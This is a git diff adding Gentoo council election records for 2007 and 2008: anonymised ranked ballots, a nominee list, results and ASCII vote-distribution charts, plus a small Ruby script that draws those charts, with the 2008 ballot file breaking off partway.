+jaervosz
+lu_zero uberlord betelgeuse
+christel
+jokey dertobi123 flameeyes welp amne
+--------- confirmation 7fe5 ---------
+betelgeuse jokey christel
+dertobi123 dberkholz
+uberlord flameeyes vapier welp
+jaervosz amne lu_zero
+--------- confirmation 8245 ---------
+uberlord vapier jokey betelgeuse
+flameeyes christel
+--------- confirmation 836a ---------
+betelgeuse
+flameeyes
+uberlord
+dberkholz
+jaervosz
+vapier
+lu_zero dertobi123 welp amne
+jokey
+christel
+--------- confirmation 8436 ---------
+vapier
+jaervosz
+uberlord
+dberkholz
+flameeyes
+betelgeuse
+dertobi123
+lu_zero
+jokey
+amne
+christel
+welp
+--------- confirmation 8496 ---------
+jokey
+lu_zero
+amne
+betelgeuse
+dertobi123
+uberlord
+dberkholz
+christel
+jaervosz
+welp
+vapier
+flameeyes
+--------- confirmation 85ea ---------
+amne
+vapier
+christel jaervosz
+dertobi123 flameeyes dberkholz betelgeuse uberlord
+jokey lu_zero
+welp
+--------- confirmation 861a ---------
+betelgeuse
+flameeyes
+vapier
+--------- confirmation 866c ---------
+uberlord
+vapier
+dberkholz
+jokey
+jaervosz
+welp
+flameeyes
+lu_zero
+dertobi123
+amne
+betelgeuse
+christel
+--------- confirmation 87d1 ---------
+flameeyes
+uberlord
+lu_zero
+dertobi123
+vapier
+betelgeuse
+christel
+dberkholz
+amne
+welp
+jaervosz
+jokey
+--------- confirmation 8b09 ---------
+flameeyes
+jokey
+dberkholz
+uberlord
+betelgeuse
+amne
+vapier
+lu_zero
+welp jaervosz dertobi123 christel
+--------- confirmation 0df7 ---------
+jokey
+christel
+uberlord
+vapier
+flameeyes
+welp
+dberkholz
+lu_zero
+jaervosz
+amne
+dertobi123
+betelgeuse
+--------- confirmation 8d09 ---------
+dertobi123
+jokey
+dberkholz
+christel
+flameeyes
+uberlord
+betelgeuse
+vapier
+jaervosz
+lu_zero
+amne
+welp
+--------- confirmation 8d4f ---------
+flameeyes
+christel
+vapier lu_zero
+amne betelgeuse
+jaervosz
+dertobi123
+uberlord
+--------- confirmation 8d50 ---------
+vapier
+dberkholz
+amne
+uberlord
+jaervosz
+betelgeuse
+welp
+dertobi123
+jokey
+lu_zero
+flameeyes
+christel
+--------- confirmation 0e2e ---------
+uberlord dberkholz
+betelgeuse vapier
+flameeyes welp
+jaervosz
+amne
+lu_zero
+jokey
+dertobi123
+christel
+--------- confirmation 8dfd ---------
+jokey betelgeuse
+flameeyes
+uberlord dberkholz
+lu_zero amne
+jaervosz
+dertobi123
+welp christel vapier
+--------- confirmation 93af ---------
+vapier
+christel
+dberkholz
+amne
+lu_zero
+betelgeuse
+welp
+uberlord
+jaervosz
+flameeyes
+jokey dertobi123
+--------- confirmation 9651 ---------
+dertobi123
+jokey
+amne
+vapier
+dberkholz
+uberlord
+jaervosz welp
+lu_zero
+flameeyes
+betelgeuse
+christel
+--------- confirmation 9764 ---------
+vapier
+uberlord
+flameeyes dberkholz
+lu_zero
+jaervosz
+betelgeuse
+jokey
+christel dertobi123 amne welp
+--------- confirmation 9b62 ---------
+uberlord
+dberkholz
+vapier
+flameeyes
+jaervosz
+dertobi123
+lu_zero
+jokey
+betelgeuse
+welp
+amne
+christel
+--------- confirmation 0fb4 ---------
+vapier dberkholz uberlord amne welp
+lu_zero dertobi123 flameeyes
+christel jokey
+betelgeuse jaervosz
+--------- confirmation 9ef2 ---------
+dberkholz
+amne jokey christel
+jaervosz welp
+lu_zero dertobi123
+betelgeuse uberlord
+flameeyes
+vapier
+--------- confirmation a0c2 ---------
+jokey
+vapier
+christel
+betelgeuse
+dberkholz
+flameeyes
+welp
+uberlord
+lu_zero
+jaervosz
+dertobi123
+amne
+--------- confirmation a190 ---------
+christel vapier betelgeuse jaervosz dberkholz uberlord
+flameeyes lu_zero dertobi123
+amne
+welp jokey
+--------- confirmation a1fb ---------
+dberkholz
+flameeyes
+uberlord
+lu_zero betelgeuse welp jaervosz vapier dertobi123 christel amne jokey
+--------- confirmation a270 ---------
+betelgeuse
+amne
+uberlord
+welp
+lu_zero
+jaervosz
+jokey
+dberkholz vapier christel dertobi123
+flameeyes
+--------- confirmation a7be ---------
+lu_zero
+vapier
+uberlord
+betelgeuse
+flameeyes
+dberkholz
+jokey
+jaervosz
+dertobi123
+amne
+welp
+christel
+--------- confirmation a973 ---------
+uberlord
+dberkholz
+christel
+betelgeuse
+jaervosz
+amne
+jokey lu_zero dertobi123 welp
+vapier
+flameeyes
+--------- confirmation aaca ---------
+vapier uberlord
+welp
+jokey flameeyes
+christel betelgeuse dberkholz
+lu_zero dertobi123
+amne jaervosz
+--------- confirmation add7 ---------
+uberlord
+jokey
+dertobi123
+vapier
+dberkholz
+welp
+betelgeuse
+christel
+amne
+jaervosz
+lu_zero
+flameeyes
+--------- confirmation ae97 ---------
+vapier flameeyes
+dberkholz uberlord
+jokey betelgeuse jaervosz
+lu_zero amne dertobi123
+welp
+christel
+--------- confirmation b3c6 ---------
+jokey
+dertobi123
+flameeyes
+uberlord
+welp
+jaervosz lu_zero dberkholz amne
+betelgeuse christel vapier
+--------- confirmation b59f ---------
+dberkholz vapier flameeyes lu_zero
+dertobi123 amne
+christel betelgeuse welp jaervosz uberlord jokey
+--------- confirmation b5c2 ---------
+amne
+lu_zero
+dertobi123
+betelgeuse
+vapier
+dberkholz
+uberlord
+welp
+jaervosz
+flameeyes
+jokey
+christel
+--------- confirmation b71e ---------
+vapier
+dberkholz
+uberlord
+christel
+dertobi123
+flameeyes
+jaervosz
+amne
+jokey
+betelgeuse
+welp
+lu_zero
+--------- confirmation b95c ---------
+dberkholz
+uberlord
+jaervosz
+betelgeuse
+dertobi123
+vapier
+--------- confirmation ba9d ---------
+vapier uberlord
+flameeyes
+dberkholz
+jaervosz
+lu_zero
+betelgeuse
+dertobi123
+jokey
+amne
+welp
+christel
+--------- confirmation badd ---------
+vapier
+lu_zero
+flameeyes
+uberlord
+dertobi123
+betelgeuse
+amne
+dberkholz
+welp
+jaervosz
+jokey
+christel
+--------- confirmation bb10 ---------
+dertobi123
+amne
+jokey
+flameeyes
+uberlord
+jaervosz
+vapier
+dberkholz
+betelgeuse
+lu_zero
+welp
+christel
+--------- confirmation bb5f ---------
+vapier dberkholz
+uberlord
+lu_zero
+flameeyes
+christel
+amne welp jaervosz betelgeuse jokey dertobi123
+--------- confirmation be71 ---------
+vapier
+dberkholz
+flameeyes
+uberlord
+amne
+lu_zero
+welp
+jaervosz
+jokey
+dertobi123
+betelgeuse
+christel
+--------- confirmation 130d ---------
+amne
+uberlord
+dberkholz
+lu_zero
+jokey
+betelgeuse
+dertobi123
+vapier
+jaervosz
+welp
+flameeyes
+christel
+--------- confirmation c45d ---------
+dertobi123
+christel
+flameeyes jokey vapier jaervosz betelgeuse uberlord amne dberkholz welp lu_zero
+--------- confirmation c81d ---------
+amne
+vapier
+uberlord
+welp
+dertobi123
+flameeyes
+jaervosz
+christel dberkholz lu_zero betelgeuse jokey
+--------- confirmation d087 ---------
+vapier christel dertobi123 uberlord dberkholz jokey
+jaervosz welp amne lu_zero flameeyes
+betelgeuse
+--------- confirmation d338 ---------
+dertobi123 amne jokey
+uberlord
+jaervosz
+vapier
+dberkholz
+lu_zero betelgeuse flameeyes
+christel welp
+--------- confirmation d474 ---------
+flameeyes
+christel
+amne
+lu_zero
+betelgeuse
+vapier
+jokey
+welp
+jaervosz
+dberkholz
+dertobi123
+uberlord
+--------- confirmation d4d2 ---------
+vapier dertobi123 dberkholz jaervosz
+lu_zero christel uberlord flameeyes betelgeuse
+welp amne jokey
+--------- confirmation db30 ---------
+vapier
+jaervosz
+dertobi123
+christel
+dberkholz betelgeuse flameeyes jokey uberlord lu_zero welp
+amne
+--------- confirmation dca7 ---------
+vapier
+dberkholz
+jaervosz
+jokey
+lu_zero
+amne
+uberlord
+flameeyes
+betelgeuse
+dertobi123 welp christel
+--------- confirmation dd9f ---------
+vapier
+flameeyes
+lu_zero
+uberlord
+betelgeuse
+jaervosz
+dberkholz
+dertobi123 amne
+welp jokey christel
+--------- confirmation 1641 ---------
+dberkholz welp
+flameeyes
+betelgeuse lu_zero
+christel
+amne
+dertobi123
+jokey
+uberlord vapier jaervosz
+--------- confirmation df2d ---------
+dberkholz jokey
+dertobi123 welp
+lu_zero betelgeuse
+uberlord vapier flameeyes
+jaervosz
+amne christel
+--------- confirmation e025 ---------
+vapier flameeyes uberlord
+dberkholz christel
+amne jaervosz
+welp
+betelgeuse dertobi123
+lu_zero
+jokey
+--------- confirmation e247 ---------
+welp
+jokey
+uberlord
+christel
+vapier
+dberkholz
+dertobi123
+flameeyes lu_zero betelgeuse jaervosz amne
+--------- confirmation e395 ---------
+amne
+dberkholz flameeyes
+--------- confirmation e3ac ---------
+flameeyes
+jokey dberkholz
+uberlord welp amne
+betelgeuse dertobi123 lu_zero jaervosz
+christel
+vapier
+--------- confirmation e549 ---------
+dberkholz
+vapier jaervosz
+uberlord dertobi123
+lu_zero christel amne
+welp jokey flameeyes
+betelgeuse
+--------- confirmation e8c0 ---------
+flameeyes dberkholz uberlord vapier lu_zero betelgeuse jokey
+jaervosz amne
+christel welp dertobi123
+--------- confirmation eaf6 ---------
+jokey
+christel
+flameeyes uberlord
+betelgeuse
+welp dertobi123
+--------- confirmation ec36 ---------
+vapier lu_zero
+jaervosz
+uberlord dberkholz
+christel
+flameeyes
+dertobi123 amne betelgeuse jokey welp
+--------- confirmation ec47 ---------
+jaervosz
+christel vapier
+flameeyes
+--------- confirmation ed63 ---------
+jaervosz
+uberlord
+flameeyes
+amne
+dertobi123
+betelgeuse
+welp
+jokey
+christel
+dberkholz
+lu_zero
+vapier
+--------- confirmation edd7 ---------
+dberkholz
+uberlord
+amne
+vapier betelgeuse
+jaervosz
+christel
+welp lu_zero
+dertobi123 jokey
+flameeyes
+--------- confirmation ee5d ---------
+vapier
+uberlord
+dberkholz
+lu_zero
+flameeyes
+betelgeuse
+jaervosz
+christel
+welp
+jokey amne dertobi123
+--------- confirmation ef58 ---------
+amne
+jaervosz
+vapier uberlord dberkholz betelgeuse lu_zero dertobi123 jokey
+christel welp flameeyes
+--------- confirmation f065 ---------
+dberkholz
+lu_zero
+uberlord betelgeuse
+jaervosz
+welp
+flameeyes
+dertobi123
+amne
+christel
+jokey vapier
+--------- confirmation f34e ---------
+amne
+jaervosz
+dertobi123 uberlord
+dberkholz jokey
+lu_zero
+vapier
+betelgeuse christel flameeyes welp
+--------- confirmation f621 ---------
+uberlord dberkholz betelgeuse jokey
+jaervosz amne welp flameeyes dertobi123 lu_zero christel
+vapier
+--------- confirmation fa47 ---------
+dberkholz
+flameeyes
+uberlord
+--------- confirmation 1927 ---------
+dertobi123 amne
+vapier flameeyes uberlord
+lu_zero jaervosz jokey dberkholz
+welp betelgeuse
+christel
+--------- confirmation fdad ---------
+vapier betelgeuse jokey uberlord
+dberkholz flameeyes lu_zero welp
+--------- confirmation 1cc8 ---------
+vapier flameeyes
+dberkholz jaervosz uberlord
+betelgeuse dertobi123 amne
+jokey
+lu_zero
+welp christel
+--------- confirmation 1cee ---------
+dberkholz
+amne
+welp
+vapier
+betelgeuse
+lu_zero
+jokey
+uberlord
+dertobi123 flameeyes
+christel jaervosz
+--------- confirmation 1d55 ---------
+amne jokey dertobi123 vapier
+welp uberlord betelgeuse flameeyes dberkholz lu_zero christel jaervosz
+--------- confirmation 1e9c ---------
+christel
+flameeyes
+dertobi123
+dberkholz
+lu_zero
+vapier
+jokey
+jaervosz
+betelgeuse
+uberlord
+welp
+amne
+--------- confirmation 1f8f ---------
+welp dberkholz vapier
+christel amne jokey flameeyes
+lu_zero betelgeuse uberlord
+jaervosz dertobi123
+--------- confirmation 036e ---------
+dberkholz
+uberlord
+vapier
+betelgeuse
+flameeyes
+christel
+jaervosz
+lu_zero
+welp
+amne
+dertobi123
+jokey
+--------- confirmation 23d7 ---------
+jokey
+welp
+amne
+dberkholz
+christel
+lu_zero vapier betelgeuse uberlord jaervosz dertobi123
+flameeyes
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2007-nominees.xml b/xml/htdocs/proj/en/council/voting-logs/council-2007-nominees.xml
new file mode 100644
index 00000000..959b44ef
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2007-nominees.xml
@@ -0,0 +1,57 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2007/2008 Nominations</title>
+
+  <author title="Author">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+  </author>
+  
+  <author title="Editor">
+  <mail link="yoswink@gentoo.org">Jose Luis Rivero</mail>
+  </author>
+  
+  <author title="Editor">
+  <mail link="tove@gentoo.org">Torsten Veller</mail>
+  </author>
+
+  <date>2007-08-05</date>
+  <version>11</version>
+
+  <nominations from="2007-07-01" to="2007-07-31">
+    <nominee accepted="yes" platform="nominees/2007/amne.txt">amne</nominee>
+    <nominee accepted="yes" devrel="yes" platform="nominees/2007/betelgeuse.txt">betelgeuse</nominee>
+    <nominee accepted="yes" devrel="yes">christel</nominee>
+    <nominee accepted="yes" platform="nominees/2007/dberkholz.txt">dberkholz</nominee>
+    <nominee accepted="yes" platform="nominees/2007/dertobi123.txt">dertobi123</nominee>
+    <nominee accepted="yes">flameeyes</nominee>
+    <nominee accepted="yes" council="yes">jaervosz</nominee>
+    <nominee accepted="yes" platform="nominees/2007/jokey.txt">jokey</nominee>
+    <nominee accepted="yes" platform="nominees/2007/lu_zero.txt">lu_zero</nominee>
+    <nominee accepted="yes" council="yes" platform="nominees/2007/uberlord.txt">uberlord</nominee>
+    <nominee accepted="yes" council="yes" devrel="yes">vapier</nominee>
+    <nominee accepted="yes" platform="nominees/2007/welp.txt">welp</nominee>
+    <nominee accepted="no">beandog</nominee>
+    <nominee accepted="no">dsd</nominee>
+    <nominee accepted="no">genstef</nominee>
+    <nominee accepted="no">johnm</nominee>
+    <nominee accepted="no" council="yes">kingtaco</nominee>
+    <nominee accepted="no" council="yes">kugelfang</nominee>
+    <nominee accepted="no">kumba</nominee>
+    <nominee accepted="no">lack</nominee>
+    <nominee accepted="no">marienz</nominee>
+    <nominee accepted="no" trustee="yes">mcummings</nominee>
+    <nominee accepted="no">nightmorph</nominee>
+    <nominee accepted="no" council="yes">robbat2</nominee>
+    <nominee accepted="no">seemant</nominee>
+    <nominee accepted="no">taviso</nominee>
+    <nominee accepted="no">tomk</nominee>
+    <nominee accepted="no">tove</nominee>
+    <nominee accepted="no">tsunam</nominee>
+    <nominee accepted="no" council="yes" trustee="yes">wolf31o2</nominee>
+    <nominee accepted="no">zmedico</nominee>
+  </nominations>
+</election>
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2007-rank.txt b/xml/htdocs/proj/en/council/voting-logs/council-2007-rank.txt
new file mode 100644
index 00000000..fd049054
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2007-rank.txt
@@ -0,0 +1,12 @@
+vapier
+dberkholz
+uberlord
+flameeyes
+lu_zero
+betelgeuse
+amne
+jokey
+jaervosz
+dertobi123
+welp
+christel
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2007-results.txt b/xml/htdocs/proj/en/council/voting-logs/council-2007-results.txt
new file mode 100644
index 00000000..0dff9a72
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2007-results.txt
@@ -0,0 +1,20 @@
+Thanks to all 117 developers who voted on these elections. There were 329
+developers elegible to vote, so we had a little less than 36% who performed
+their (volunteer) duty.
+
+The final ranking gave us the following 7 new council members:
+
+  vapier
+  dberkholz
+  uberlord
+  flameeyes
+  lu_zero
+  betelgeuse
+  amne
+
+Thanks to all who participated!
+
+The election officials,
+  Shyam Mani      (fox2mike)
+  Hans de Graaff  (graaff)
+  Sven Vermeulen  (SwifT)
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2007-vote-distribution.txt b/xml/htdocs/proj/en/council/voting-logs/council-2007-vote-distribution.txt
new file mode 100644
index 00000000..5043d202
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2007-vote-distribution.txt
@@ -0,0 +1,144 @@
+  vapier (1)
+|          
+|          
+|#         
+|#         
+|#         
+|#         
+|#         
+|###  # ## 
+|##########
++----------
+
+  dberkholz (2)
+|          
+|          
+|          
+|#         
+|#         
+|#         
+|##        
+|### ## #  
+|##########
++----------
+
+  uberlord (3)
+|          
+|          
+|          
+|          
+|          
+|#         
+|###  #    
+|###### #  
+|##########
++----------
+
+  flameeyes (4)
+|          
+|          
+|          
+|          
+|          
+|          
+|# ## #  # 
+|#### # ## 
+|##########
++----------
+
+  lu_zero (5)
+|          
+|          
+|          
+|          
+|          
+|          
+|   # # #  
+|# ####### 
+|##########
++----------
+
+  betelgeuse (6)
+|          
+|          
+|          
+|          
+|          
+|          
+|#    #    
+|# ####### 
+|##########
++----------
+
+  amne (7)
+|          
+|          
+|          
+|          
+|          
+|        # 
+|#      ## 
+|#### #### 
+|##########
++----------
+
+  jokey (8)
+|          
+|          
+|          
+|          
+|          
+|          
+|#     # # 
+|###  #### 
+|##########
++----------
+
+  jaervosz (9)
+|          
+|          
+|          
+|          
+|          
+|          
+|  #  ###  
+| ### #### 
+|##########
++----------
+
+  dertobi123 (10)
+|          
+|          
+|          
+|          
+|          
+|          
+|#    ###  
+|#  # #### 
+|##########
++----------
+
+  welp (11)
+|          
+|          
+|          
+|          
+|        # 
+|        # 
+|     ## # 
+|   # #### 
+|##########
++----------
+
+  christel (12)
+|          
+|          
+|          
+|          
+|        # 
+|        # 
+|        ##
+|## # #####
+|##########
++----------
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008-grapher.rb.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008-grapher.rb.txt
new file mode 100644
index 00000000..d2ff73c3
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008-grapher.rb.txt
@@ -0,0 +1,90 @@
+#!/usr/bin/ruby
+
+ResultsFile  = "council-2008-master.txt"
+RankingsFile = "council-2008-rank.txt"
+ScaleSize    = 10
+HeightScale  = 7
+BarHeight    = 8
+
+# Get all candidate names and initialise their vote count
+candidates = Hash.new
+ballots = Hash.new
+File.open ResultsFile, "r" do | file |
+    file.each_line do | line |
+        next if line =~ /^-/
+        line.split(%r/\s+/).each do | person |
+            candidates[person] = [0] * ScaleSize unless candidates[person]
+        end
+    end
+
+    file.seek(0, IO::SEEK_SET)
+
+    key = false
+    file.each_line do | line |
+        if line =~ %r/^-/
+            key = line.split(/\s+/).grep(/^[a-fA-F0-9]{4}$/)[0]
+            ballots[key] = []
+        else
+            raise "key not set yet" unless key
+            ballots[key].push line.chomp.split(/\s+/)
+        end
+    end
+end
+
+# Add in missing candidates
+ballots.keys.each do | key |
+    append_candidates = candidates.keys.dup
+    ballots[key].flatten.each do | candidate |
+        append_candidates.delete_if do | item |
+            item == candidate
+        end
+    end
+    unless append_candidates.empty?
+        ballots[key].push append_candidates
+    end
+end
+
+# Calculate distributions
+ballots.each_pair do | ballot, results |
+    scale_by = ScaleSize / (0.0 + results.length)
+    results.each_with_index do | result, index |
+        place = (scale_by * index.to_f).to_i
+        raise "out of range" unless (0..ScaleSize - 1).include? place
+        result.each do | candidate |
+            candidates[candidate][place] += 1
+        end
+    end
+end
+
+# Read in rankings
+rankings = []
+File.open RankingsFile, "r" do | file |
+    file.each_line do | line |
+        key = line.split(/\s+/)[0]
+        rankings << key
+    end
+end
+
+
+# Display distributions
+candidates.keys.sort do | a, b |
+    rankings << a unless rankings.index a
+    rankings << b unless rankings.index b
+    (rankings.index a) <=> (rankings.index b)
+end.each do | candidate |
+    puts "  " + candidate + " (" + (rankings.index(candidate) + 1).to_s + ")"
+    BarHeight.downto(0) do | height |
+        print "|"
+        candidates[candidate].each do | value |
+            if value > (height * HeightScale)
+                print "#"
+            else
+                print " "
+            end
+        end
+        puts
+    end
+    puts "+" + ("-" * ScaleSize)
+    puts
+end
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008-master.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008-master.txt
new file mode 100644
index 00000000..b5285e05
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008-master.txt
@@ -0,0 +1,1532 @@
+--------- confirmation 0401 ---------
+Halcy0n
+welp
+fmccor
+Flameeyes
+lu_zero
+astinus
+cardoe
+dev-zero
+ulm
+dberkholz Betelgeuse
+dertobi123
+hkBst
+leio
+Jokey jer
+peper
+ferdy
+zlin
+--------- confirmation 29df ---------
+dberkholz fmccor
+Flameeyes Jokey welp
+lu_zero cardoe dertobi123
+--------- confirmation 2a2f ---------
+Flameeyes
+dberkholz
+Halcy0n
+Betelgeuse
+lu_zero
+Jokey
+cardoe
+jer
+dertobi123
+welp
+ulm
+hkBst
+astinus
+dev-zero
+leio
+fmccor
+ferdy
+zlin
+peper
+--------- confirmation 2bee ---------
+dberkholz
+Halcy0n ulm
+leio
+dev-zero
+fmccor jer hkBst Jokey welp Flameeyes dertobi123
+cardoe Betelgeuse
+zlin lu_zero
+astinus
+ferdy peper
+--------- confirmation 2d01 ---------
+Flameeyes
+dberkholz
+lu_zero
+Jokey
+cardoe
+dev-zero
+Halcy0n
+leio
+dertobi123
+jer
+hkBst
+welp
+ulm
+astinus
+Betelgeuse
+fmccor
+peper
+ferdy
+zlin
+--------- confirmation 2ed8 ---------
+Jokey Flameeyes dberkholz Betelgeuse
+lu_zero ulm dertobi123 leio cardoe Halcy0n
+hkBst dev-zero astinus jer zlin welp fmccor
+ferdy peper
+--------- confirmation 2efb ---------
+Betelgeuse
+Jokey
+cardoe
+dberkholz
+dev-zero
+Halcy0n
+leio
+jer
+Flameeyes
+lu_zero
+welp
+fmccor
+ferdy
+ulm
+hkBst
+dertobi123
+astinus
+zlin
+peper
+--------- confirmation 04c4 ---------
+dberkholz Flameeyes
+lu_zero fmccor Betelgeuse
+cardoe dertobi123 Halcy0n
+astinus Jokey leio
+jer ulm zlin dev-zero welp
+hkBst ferdy peper
+--------- confirmation 3000 ---------
+lu_zero
+dberkholz
+Halcy0n
+welp fmccor dertobi123 jer zlin dev-zero cardoe peper leio hkBst ferdy ulm Betelgeuse astinus Jokey Flameeyes
+--------- confirmation 3061 ---------
+dberkholz
+lu_zero
+leio
+Halcy0n
+welp
+Flameeyes
+Betelgeuse
+Jokey
+dev-zero
+jer
+ulm dertobi123
+cardoe
+fmccor hkBst
+peper ferdy zlin astinus
+--------- confirmation 04de ---------
+Jokey
+Halcy0n
+Flameeyes
+astinus
+lu_zero
+dberkholz
+cardoe
+dertobi123
+ferdy
+zlin
+welp
+jer
+dev-zero
+leio
+Betelgeuse
+ulm
+fmccor
+peper
+hkBst
+--------- confirmation 3177 ---------
+hkBst
+ulm
+dev-zero
+Halcy0n
+Betelgeuse Jokey
+zlin peper ferdy
+dertobi123 dberkholz
+cardoe leio
+fmccor
+welp
+astinus lu_zero jer Flameeyes
+--------- confirmation 329c ---------
+Jokey Halcy0n
+Betelgeuse welp dberkholz
+cardoe
+dev-zero dertobi123 fmccor
+ulm ferdy hkBst leio
+Flameeyes
+jer
+lu_zero peper zlin
+astinus
+--------- confirmation 348d ---------
+Halcy0n
+dev-zero
+fmccor
+Flameeyes
+jer
+dertobi123
+lu_zero
+dberkholz
+astinus
+leio
+Jokey
+ferdy
+peper
+zlin
+ulm
+Betelgeuse
+welp
+hkBst
+cardoe
+--------- confirmation 0567 ---------
+dberkholz jer astinus lu_zero Flameeyes Halcy0n
+cardoe welp
+leio Betelgeuse Jokey dertobi123 hkBst
+peper ulm dev-zero ferdy fmccor zlin
+--------- confirmation 3784 ---------
+Flameeyes lu_zero cardoe Halcy0n dberkholz astinus
+Jokey jer welp leio
+dev-zero dertobi123 hkBst ulm
+fmccor Betelgeuse
+--------- confirmation 394c ---------
+welp
+astinus
+Halcy0n
+Jokey
+leio
+dberkholz
+Flameeyes
+fmccor
+dertobi123
+cardoe
+--------- confirmation 3b48 ---------
+dberkholz Flameeyes Halcy0n dertobi123
+lu_zero zlin cardoe
+astinus fmccor Betelgeuse peper ferdy jer ulm Jokey dev-zero hkBst welp leio
+--------- confirmation 3ba5 ---------
+Flameeyes dberkholz
+leio cardoe
+Jokey
+Betelgeuse welp jer
+dev-zero Halcy0n lu_zero peper dertobi123
+fmccor hkBst ulm
+astinus ferdy zlin
+--------- confirmation 3df2 ---------
+dberkholz Jokey Flameeyes lu_zero Betelgeuse
+Halcy0n
+dertobi123
+welp
+jer
+dev-zero
+cardoe
+ulm
+leio
+astinus
+hkBst
+fmccor
+zlin
+ferdy
+peper
+--------- confirmation 40ca ---------
+jer
+astinus
+dertobi123 dberkholz dev-zero Flameeyes cardoe
+ulm welp hkBst leio Jokey
+Halcy0n Betelgeuse lu_zero
+zlin peper ferdy fmccor
+--------- confirmation 42e6 ---------
+fmccor
+dev-zero
+ferdy hkBst
+peper
+zlin
+Betelgeuse welp
+dertobi123
+ulm leio
+cardoe
+Jokey
+Halcy0n
+jer
+lu_zero
+dberkholz
+Flameeyes
+--------- confirmation 446c ---------
+Flameeyes cardoe leio welp dberkholz
+Betelgeuse
+fmccor
+jer
+lu_zero
+Halcy0n
+ulm
+Jokey
+hkBst
+dertobi123
+dev-zero
+ferdy
+astinus
+zlin
+peper
+--------- confirmation 467f ---------
+dberkholz
+Flameeyes
+Halcy0n
+dev-zero
+lu_zero
+leio
+Betelgeuse
+Jokey
+welp
+dertobi123
+zlin
+astinus jer ulm hkBst
+fmccor cardoe
+ferdy peper
+--------- confirmation 486d ---------
+ferdy
+zlin
+peper
+dberkholz
+cardoe
+welp
+fmccor
+jer
+ulm
+hkBst
+Jokey
+dertobi123
+astinus
+dev-zero
+Halcy0n
+lu_zero
+Flameeyes
+Betelgeuse
+leio
+--------- confirmation 4adb ---------
+welp
+Jokey dertobi123
+dberkholz hkBst cardoe fmccor
+astinus leio
+lu_zero ulm
+dev-zero
+--------- confirmation 4cdb ---------
+peper
+ferdy
+Betelgeuse
+astinus hkBst leio jer zlin Halcy0n welp cardoe Jokey fmccor lu_zero ulm Flameeyes dertobi123 dev-zero dberkholz
+--------- confirmation 4efc ---------
+fmccor
+hkBst
+zlin
+dev-zero
+ferdy
+Betelgeuse
+Halcy0n
+lu_zero
+jer
+peper
+welp
+ulm
+cardoe
+dberkholz
+Jokey
+leio
+dertobi123
+Flameeyes
+astinus
+--------- confirmation 4fc2 ---------
+Halcy0n
+Flameeyes
+astinus
+dev-zero
+dberkholz
+leio
+Betelgeuse
+welp
+lu_zero
+hkBst
+dertobi123
+ulm
+cardoe
+jer
+peper zlin ferdy Jokey fmccor
+--------- confirmation 5228 ---------
+Jokey
+dberkholz
+Halcy0n
+dev-zero
+dertobi123
+lu_zero
+Betelgeuse
+Flameeyes
+cardoe
+leio
+jer
+welp
+hkBst
+ulm
+astinus
+peper
+zlin
+ferdy
+fmccor
+--------- confirmation 08bb ---------
+dberkholz
+dev-zero
+lu_zero
+ulm
+Flameeyes
+Jokey
+Halcy0n
+Betelgeuse
+dertobi123
+hkBst
+fmccor
+jer
+cardoe
+leio
+welp
+peper
+zlin
+ferdy
+--------- confirmation 575a ---------
+leio
+dberkholz
+Flameeyes
+fmccor astinus lu_zero welp cardoe
+Halcy0n jer dev-zero dertobi123 Jokey ulm Betelgeuse zlin ferdy hkBst
+peper
+--------- confirmation 5763 ---------
+dberkholz Halcy0n Betelgeuse
+lu_zero Flameeyes cardoe Jokey
+leio hkBst dertobi123 welp astinus fmccor ulm dev-zero
+peper zlin ferdy jer
+--------- confirmation 57af ---------
+Jokey
+dertobi123
+Flameeyes fmccor
+welp Betelgeuse dberkholz
+--------- confirmation 583f ---------
+lu_zero Halcy0n dberkholz dertobi123
+Flameeyes cardoe
+Betelgeuse welp zlin jer hkBst ulm Jokey fmccor dev-zero peper leio astinus ferdy
+--------- confirmation 5be8 ---------
+cardoe
+dberkholz
+lu_zero
+jer
+astinus
+Jokey
+Halcy0n
+dertobi123
+fmccor
+Betelgeuse
+Flameeyes
+leio
+ulm
+dev-zero
+zlin
+hkBst
+welp
+ferdy
+peper
+--------- confirmation 5c2d ---------
+cardoe
+lu_zero
+hkBst
+Jokey
+peper
+ulm
+Flameeyes
+Halcy0n
+ferdy
+jer
+Betelgeuse
+welp
+dberkholz
+leio
+dertobi123
+zlin
+fmccor
+dev-zero
+--------- confirmation 5e5a ---------
+Jokey Flameeyes dertobi123 dev-zero lu_zero dberkholz
+ulm ferdy cardoe hkBst Betelgeuse fmccor Halcy0n peper leio jer astinus zlin welp
+--------- confirmation 5f85 ---------
+dberkholz
+fmccor
+peper
+lu_zero
+dev-zero
+Halcy0n
+dertobi123
+leio
+zlin
+ulm
+Flameeyes
+Betelgeuse
+Jokey
+cardoe
+jer
+ferdy
+--------- confirmation 5fe1 ---------
+dberkholz Flameeyes lu_zero
+cardoe Halcy0n
+ulm Jokey ferdy dertobi123 Betelgeuse leio peper fmccor astinus zlin jer dev-zero hkBst welp
+--------- confirmation 6023 ---------
+Flameeyes dberkholz lu_zero Jokey
+Betelgeuse
+Halcy0n leio
+dertobi123
+astinus
+jer
+hkBst dev-zero ulm
+welp
+cardoe
+fmccor ferdy peper zlin
+--------- confirmation 659d ---------
+leio dberkholz welp
+Flameeyes astinus fmccor
+cardoe
+ferdy jer lu_zero dev-zero peper ulm hkBst zlin dertobi123 Jokey Betelgeuse Halcy0n
+--------- confirmation 66d5 ---------
+ferdy dberkholz
+Betelgeuse Halcy0n dev-zero dertobi123 fmccor
